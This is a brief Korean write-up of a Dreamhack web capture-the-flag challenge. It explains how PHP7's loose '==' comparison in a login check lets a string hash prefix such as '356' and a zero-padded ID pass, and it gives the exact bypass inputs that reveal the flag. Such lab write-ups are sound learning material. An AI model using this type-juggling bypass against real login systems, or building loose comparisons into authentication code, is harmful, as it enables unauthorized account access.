check.php ๋Š” (int)$input == $target ํ˜•ํƒœ์˜ ๋А์Šจํ•œ ๋น„๊ต(==)๋กœ ID/PW ๋ฅผ ๊ฒ€์‚ฌํ•œ๋‹ค. PHP7 ์—์„œ ์ •์ˆ˜์™€ ๋ฌธ์ž์—ด์„ ๋น„๊ตํ•˜๋ฉด ๋ฌธ์ž์—ด์ด ์ˆซ์ž๋กœ ๋ณ€ํ™˜๋œ๋‹ค. sha1("1")์€ 356 ์œผ๋กœ, ๋žœ๋ค ID ๋Š” ๋Œ€๊ฐœ 0 ์œผ๋กœ ํŒŒ์‹ฑ๋˜๋ฏ€๋กœ input1=0000000000, input2=356aaaaa ๋กœ ๋กœ๊ทธ์ธ์ด ๋šซ๋ ค ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์˜จ๋‹ค.
#dreamhack#ctf#web+4
2026-07-08#dreamhack +4